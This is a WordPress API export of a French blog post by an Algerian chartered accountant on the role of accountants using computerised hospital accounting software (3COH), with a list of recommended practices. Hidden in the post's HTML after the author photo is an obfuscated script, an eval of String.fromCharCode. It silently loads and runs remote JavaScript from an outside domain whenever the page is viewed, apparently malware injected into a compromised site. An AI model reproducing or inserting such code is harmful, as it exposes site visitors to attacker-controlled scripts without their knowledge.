{"id":4106,"date":"2017-10-11T10:54:59","date_gmt":"2017-10-11T08:54:59","guid":{"rendered":"http:\/\/ipresences.com\/?p=4106"},"modified":"2017-10-11T21:18:31","modified_gmt":"2017-10-11T19:18:31","slug":"role-nouveau-comptable-face-a-comptabilite-informatisee","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/4106","title":{"rendered":"Le nouveau r\u00f4le du comptable dans la comptabilit\u00e9 hospitali\u00e8re informatis\u00e9e"},"content":{"rendered":"<p><em><strong>Par M. CHIKH SAAD Ahmed, comptable agr\u00e9e :<\/strong><\/em><\/p>\n<p>Le syst\u00e8me comptable des h\u00f4pitaux a \u00e9t\u00e9 sp\u00e9cifiquement d\u00e9velopp\u00e9 pour les besoins des \u00e9tablissements hospitaliers alg\u00e9riens dans le cadre du projet <strong>\u00ab syst\u00e8me informatis\u00e9 de comptabilit\u00e9 de gestion au sein des h\u00f4pitaux \u00bb<\/strong>.<\/p>\n<p>Dans le logiciel triple comptabilit\u00e9 hospitali\u00e8re (3COH), la grande majorit\u00e9 des \u00e9critures comptables sont produites de fa\u00e7on automatique par le syst\u00e8me, gr\u00e2ce notamment au param\u00e9trage du syst\u00e8me effectu\u00e9 par le comptable.<\/p>\n<p>Il est toutefois n\u00e9cessaire que le comptable de l\u2019h\u00f4pital, ait une excellente ma\u00eetrise des concepts et des techniques comptables, puisque, il sera amen\u00e9 \u00e0 produire et analyser divers r\u00e9sultats, sous forme de journaux ou d\u2019\u00e9tats de synth\u00e8se.<\/p>\n<p>Aussi, il est n\u00e9cessaire d\u2019adopter certaines pratiques comptables comme suit :<\/p>\n<p>\u2022 Traiter la comptabilit\u00e9 au fur et \u00e0 mesure;<br \/>\n\u2022 Adopter et appliquer une m\u00e9thode de classement rigoureuse des pi\u00e8ces justificatives;<br \/>\n\u2022 Faire un apprentissage progressif des concepts et des pratiques introduits par la comptabilit\u00e9 informatis\u00e9e;<br \/>\n\u2022 Ne pas h\u00e9siter \u00e0 demander conseils notamment aupr\u00e8s de l&rsquo;\u00e9diteur du logiciel;<br \/>\n\u2022 Prendre un temps de r\u00e9flexion avant de comptabiliser une \u00e9criture;<br \/>\n\u2022 V\u00e9rifier r\u00e9guli\u00e8rement vos soldes comptables;<br \/>\n\u2022 Anticiper les \u00e9ch\u00e9ances comptables et fiscales.<\/p>\n<p>Enfin, garder ces recommandations \u00e0 port\u00e9e de main.<\/p>\n<p><figure id=\"attachment_4110\" aria-describedby=\"caption-attachment-4110\" style=\"width: 200px\" class=\"wp-caption alignright\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4110\" src=\"http:\/\/ipresences.com\/wp-content\/uploads\/2017\/10\/saad-150x150.jpg\" alt=\"\" width=\"200\" height=\"200\" srcset=\"https:\/\/ipresences.com\/Blog\/wp-content\/uploads\/2017\/10\/saad-150x150.jpg 150w, https:\/\/ipresences.com\/Blog\/wp-content\/uploads\/2017\/10\/saad-85x85.jpg 85w, https:\/\/ipresences.com\/Blog\/wp-content\/uploads\/2017\/10\/saad-50x50.jpg 50w, https:\/\/ipresences.com\/Blog\/wp-content\/uploads\/2017\/10\/saad.jpg 300w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><figcaption id=\"caption-attachment-4110\" class=\"wp-caption-text\">M. CHIKH SAAD Ahmed Comptable agr\u00e9e<\/figcaption><\/figure><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Par M. CHIKH SAAD Ahmed, comptable agr\u00e9e : Le syst\u00e8me comptable des h\u00f4pitaux a \u00e9t\u00e9 sp\u00e9cifiquement d\u00e9velopp\u00e9 pour les besoins des \u00e9tablissements hospitaliers alg\u00e9riens dans le cadre du projet \u00ab syst\u00e8me informatis\u00e9 de comptabilit\u00e9 de gestion au sein des h\u00f4pitaux \u00bb. Dans le logiciel triple comptabilit\u00e9 hospitali\u00e8re (3COH), la grande majorit\u00e9 des \u00e9critures comptables sont &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/4106\"> <span class=\"screen-reader-text\">Le nouveau r\u00f4le du comptable dans la comptabilit\u00e9 hospitali\u00e8re informatis\u00e9e<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":2,"featured_media":4116,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[88,117],"tags":[],"class_list":["post-4106","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-actualites","category-contributions"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/4106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=4106"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/4106\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media\/4116"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=4106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=4106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=4106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}